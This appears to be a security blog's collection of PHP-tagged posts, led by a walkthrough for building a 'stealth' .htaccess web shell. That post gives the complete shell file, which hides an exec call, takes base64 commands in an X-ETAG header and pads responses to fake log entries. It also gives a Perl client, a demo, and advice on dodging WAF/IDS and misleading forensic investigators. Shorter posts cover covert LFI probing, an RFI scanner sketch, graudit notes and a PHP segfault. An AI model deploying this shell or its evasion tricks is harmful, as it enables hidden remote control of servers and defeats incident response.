Results tagged “php” from Just Another Hacker

Writing a stealth web shell

|
People keep referring to the htshells project as stealth!?!?!?!? They are very unstealthy, leaving plenty of evidence in the logs, but it did get me thinking, what would a .htaccess stealth shell look like? In order to claim the status of "stealth" the shell would have to meet the following requirements:
  • No bad function calls
  • Hidden file
  • Hidden payload
  • Hidden url
  • WAF/IDS bypass
  • Limited forensic evidence
Looks like a small list, shouldn't be too hard....

No bad function calls
The shell should not contain any bad function calls such as eval, passthru, exec, system, `` or similar operators. This is to avoid detection from scanners such as anti vrus or static analysis tools. We have a few options here, such as using a variable variable to dynamically assign the function to call,  or we could go with the non alpha php shell. I did however choose to go with a feature that relies on common methods and AFAIK not many scanners pick up on variable function calls.

Hidden file
I already solved this with my htshells project. Having your shell in a dot file keeps it hidden on linux. If you cannot upload a .htaccess file however I would aim to hide in plain sight with a index.php file instead.

Hidden payload
In order to keep the payload out of the url we'll provide it outside of the request URI and request body. A cookie is a common place to store the payload, but I decided to use a non cookie header. Just to be safe, in case someone decides to log cookies.

Hidden url
Luckily the htaccess file also offers us an option to hide the url of our web shell using mod_rewrite. This allows us to invoke the shell through a different url.

WAF/IDS bypass
By applying common encoding we can ensure that plaintext rules don't match our payload and make parsing the request expensive enough to ensure that realtime decoding isn't feasible. For the extra paranoid, encoding in combination with basic obfuscation will stop detection by IDS which can offload the offline decoding to an agent. I chose plain base64_encoding, and padded it with some bytes to make automated parsing fail.

Limited forensic evidence
This is where most shells fails, most web scripts use request parameters for command input. This is great on penetration tests as it offers transparency to the client, but it's not very stealthy. I'll start by illustrating a log segment for favicon requests.
# grep favicon.ico /var/log/apache2/access.log
78.84.166.152 - - [20/Apr/2011:09:46:30 +0400] "HEAD /favicon.ico HTTP/1.0" 200 - "-" "-"
76.120.74.98 - - [20/Apr/2011:09:52:27 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)"
76.120.74.98 - - [20/Apr/2011:10:07:29 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)"
192.168.24.122 - - [20/Apr/2011:10:32:31 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
As you can see from the example, the log records the IP of the client making the request, the (server) time of the request, the request method and url, response code, response size, referrer and user-agent. Normally the htshell would be a dead giveaway:
127.0.0.1 - - [23/Jan/2012:11:47:32 +1100] "GET /.htaccess?c=uname -a HTTP/1.1" 200 617 "-" "Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
It is clear that the url accessed was .htaccess,and it responded with a 200 OK response code instead fo the usual 403, it is also evident what command was run. In order to keep the shell from leaving forensic evidence, we will disguise the request to the shell as a normal 200 OK or a 404 response to a seemingly normal file using the hidden url and hidden payload.

Now for the actual implementation, using php for the programming language:

- No bad function calls
Invoking function names by string FTW! $e = str_replace('y','e','yxyc'); $e($cmd) will call exec on $cmd.

- Hidden file
the shell is .htaccess, as hidden as it gets.

- Hidden payload
Receive the payload via the X-ETAG header, which is accessible via: $_SERVER['HTTP_X_ETAG'] and send the response via the same header. This requires output buffering to be enabled otherwise PHP will complain about headers being sent after output has started. Luckily this is not an admin flag and can be set from within the .htaccess file itself using: php_value output_buffering 1.

- Hidden url
Rewrite supposed url to the .htaccess file if X-ETAG request header is set
RewriteEngine on
RewriteCond %{HTTP:X-ETAG} !^$
RewriteRule .* .htaccess [L]
This allows us to make requests to existing files, and gettting the shell if the X-ETAG header is set.

- WAF/IDS bypass
By padding the base64 encoding with two bytes automated base64 decoding attempts will fail with a length check error.
base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))

- Limited forensic evidence
By generating output PHP will set the response code to 200 OK, although a header() call can easily be used to make it something else. Thanks to the output buffering the content of the .htaccess file can be discarded and the response size can be set to a known value. I'm using print str_repeat("A", 9326); to match the size of my favicon which can be seen in the first log snippet.

This all combines to the following file:
# Self contained .htaccess stealth web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web

    Order allow,deny
    Allow from all


# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

# Enable output buffering so we can fudge content length in logs
php_value output_buffering 1

# Rewrite supposed url to the .htaccess file if X-ETAG request header is set
RewriteEngine on
RewriteCond %{HTTP:X-ETAG} !^$
RewriteRule .* .htaccess [L]

# SHELL <?php ob_clean(); $e = str_replace('y','e','yxyc'); $e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat("A", 9326); ob_flush(); exit(); ?>

Unfortunately the WAF/IDS bypass makes it somewhat unfriendly to use with traditional HTTP clients, so I wrote a perl based client:
#!/usr/bin/perl
# Interface for the mod_php htaccess stealth shell
# Written by Wireghoul - http://www.justanotherhacker.com

use warnings;
use strict;
use MIME::Base64;
use LWP::UserAgent;

&usage unless $ARGV[0];
my $url = $ARGV[0];
pop(@ARGV); #keep readline happy
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16');

sub usage {
    print "Usage: $0 url\nExample: $0 http://vuln.com/upload/favicon.ico\n";
    exit 2;
}

my $cmd = '';
print "Connecting to shell at $url - type 'exit' to exit";
until ($cmd eq 'exit') {
    print "\nshell> ";
    $cmd = readline;
    chomp $cmd;
    my $payload = 'AA'.encode_base64($cmd);
    my $response = $ua->get( $url, 'X-ETAG' => $payload);
    if ($response->header('X-ETAG')) {
      print decode_base64(substr($response->header('X-ETAG'),2));
    } else {
      print "Error! No payload in response!\n";
    }
}

A quick demo:
# GET http://localhost/favicon.ico | head -1
________________________________________
h6  �@@(F( 
# ./stsh.pl http://localhost/favicon.ico
Connecting to shell at http://localhost/favicon.ico - type 'exit' to exit
shell> uname -a
Linux bt 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
# tail -3 /var/log/apache2/access.log
127.0.0.1 - - [31/Jan/2012:14:07:59 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
127.0.0.1 - - [31/Jan/2012:14:08:01 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
127.0.0.1 - - [31/Jan/2012:14:08:03 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
Notice there is nothing indicating any difference between the first request (normal request to the actual file) and the two shell commands.
Some parting notes:
  • Large response bodies can cause the header to exceed the maximum size defined when compiling Apache (default 8190), the best way to get around this is to store the command output in the session and return it one chunk at a time.
  • Divert the investigator by presenting a likely scenario, if there is an existing file, such as a picture. Hotlink the image from a public forum and use the forum url as referrer value and use a known aggressive crawler as the user agent.
  • Rewrite the shell to use different values than the X-ETAG, etc used in the demo script for better WAF bypass.
  • I guess it's OK to call the htshells project stealth now??
  • Systems that log response length as headers and response body will show varying content length for the shell requests, this is not the default apache behaviour and requires additional modules to be enabled.

If I missed anything, please leave a commant and I will address it. If you like my work, please say thanks or buy me a beer!


Most of us think game over when we see a url that cointains a file reference, like http://localhost/basename.php?file=hello.php. Lets say that you were doing a penetration test where you are trying not to trigger any IDS alerts. How can you determine if the script filters the page variable using basename? Here are some simple steps that should go undetected.

Lets say that the scripts in this fictional url are as follows:
[basename.php]
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
        <title>Basename poc file</title>
</head>
<body>
<?php
if (file_exists(basename($_GET['file']))) {
        include(basename($_GET['file']));
} else {
        echo "404 - File not found";
}
?>
</body>
</html>
[hello.php]
<?php echo "Hello World\n"; ?>
The first test we take is to determine what a negative response would be, we'll visit http://localhost/basename.php?file=hello.wisconsin, this nets us a custom 404 error. Now that we have a false contition the next test is simply http://localhost/basename.php?file=a/b/c/hello.php. If this gives us the same output as http://localhost/basename.php?file=hello.php the script is using basename (or a similar technique) to extrace the filename. If you get a negative response the script appears to be vulnerable to directory traversal/LFI/RFI. Better encode your next attack to avoid triggering the IDS.

Happy hacking!
(And yes, this is the February tutorial running late).

Graudit 1.9 released

|
The next graudit version is already out! There were some serious issues with the 1.8 release that needed fixing.
  • Fixed php (php/xss.db) database which had a blank line at the end, causing everything to match. (Thx @jodymelbourne)
  • Added test case for blank lines in signature scripts
  • Added database validating aux script
  • Updated Makefile file manifest
  • Fixed bug in test script template (t/blank-test.sh)

Big thanks to the people who contributed with patches, bug reports and feedback. Keep them coming!

You can download the latest version from the graudit download page.

Writing a better RFI scanner

|
So had this chat with the boys in the office the other day and mentioned my long standing thoughts on how automated remote file inclusion scans should be done right, and figured I might as well share it with everyone.

Most tools today will just try to fetch a web url, like http://www.google.com and claim that it has found a remote file inclusion. I suppose technically it is still accurate, but I mostly care for code execution, not so much web proxy scripts. To be honest, detecting code execution is pretty trivial. Sure it becomes more annoying as you try to support multiple languages, but for now, lets focus on the worst RFI offender; PHP.

Lets pretend I'm writing a scanner, and this scanner uses the normal crawl and replace querystring values with my RFI url approach. My first port of call is to create a code snippet that I will use for testing code execution with. I've picked the string just another remote file inclusion! as my signature. Now we add some complexity to ensure that we don't accidentally get a false positive on the remote chance that the webpage we're fuzzing happened to contain that string.

~$ echo -n 'just another remote file inclusion!' | md5sum -
8a7f7dc99a12132a94c88b931e92f463  -
~$ echo -n '8a7f7dc99a12132a94c88b931e92f463' | uuencode -m -
begin-base64 644 -
OGE3ZjdkYzk5YTEyMTMyYTk0Yzg4YjkzMWU5MmY0NjM=
====
This gives me both the code exec and non code exec signatures. We stuff the base64 into a php file like so: [RFIproof.txt]
<?php echo(base64_decode('OGE3ZjdkYzk5YTEyMTMyYTk0Yzg4YjkzMWU5MmY0NjM=')); ?>
Then I write a simple snippet to check for RFI:
sub check_RFI_exec {
    my ($url, $querystring, $fuzzparam) = @_;   #Function arguments
    $querystring =~ s!$fuzzparam=[^&]+!$fuzzparam=http://www.justanotherhacker.com/RFIproof.txt!;   #Using ! to avoid escaping characters
    my $content = get("$url?$querystring");    # Fetching url using lwp-simple 
    if ($content =~ m/8a7f7dc99a12132a94c88b931e92f463/) {    #md5sum means base64_exec'ed
        print "RFI code exec at: $url?$querystring\n";
   } elsif ($content =~ m/OGE3ZjdkYzk5YTEyMTMyYTk0Yzg4YjkzMWU5MmY0NjM=/) {   #base64 string means no exec
       print "RFI without exec: $url?$querystring\n";
   }
}
I chose perl, but you can write yours in whatever language you choose. Adding some error handling is recommended, but I left it out as it's only a hypothetical code snippet. I'm not actually writing this scanner, but hopefully someone else will.

Benchmarking graudit

|
Benchmarking might not be the correct term as graudit does not have the capacity to determine if a signature match is in fact a vulnerability or not. It only highlights a potential problem area so you can pay closer attention to it. Like most signature based approaches it does stand a fairly good chance of catching low hanging fruit, but certain kind of vulnerabilities will remain impossible to detect. None-the-less I am aiming to improve the standard of the signature sets, so from now on graudit will be "benchmarked" on each release.

To avoid writing signatures for specific vulnerabilities I am using two vulnerable applications to benchmark graudit with;

* Multillidae
* Damn Vulnerable Web Application

My hope is to approximate 100% low and 75% medium detection rate by version 2.0. Now to find some non PHP equivalents for the other languages.
Honestly, I expected this to be somewhat gracefully handled;

justanotherhacker:~$ cat crash.php
<?php
include('crash.php');
?>
justanotherhacker:~$ php crash.php
Segmentation fault


The backtrace is;
justanotherhacker:~$ gdb php
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(no debugging symbols found)
(gdb) run crash.php
Starting program: /usr/bin/php crash.php
(no debugging symbols found)
<snip>
(no debugging symbols found)
[Thread debugging using libthread_db enabled]
(no debugging symbols found)
(no debugging symbols found)
[New Thread 0xb780e6d0 (LWP 9508)]
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb780e6d0 (LWP 9508)]
0x082874fb in virtual_file_ex ()
(gdb) bt
#0 0x082874fb in virtual_file_ex ()
#1 0x0828fcff in expand_filepath ()
#2 0x082a686b in _php_stream_fopen ()
#3 0x082a6e63 in _php_stream_fopen_with_path ()
#4 0x082a6f83 in ?? ()
#5 0x09a007ec in ?? ()
#6 0x08357b15 in ?? ()
#7 0x08502620 in ?? ()
#8 0xbf09135c in ?? ()
#9 0x00000085 in ?? ()
#10 0x00000001 in ?? ()
#11 0x00000000 in ?? ()

It doesn't appear to be anything more then a potential dos condition to me, but I could be wrong.
No Clean Feed - Stop Internet Censorship in Australia
Creative Commons License
This weblog is licensed under a Creative Commons License.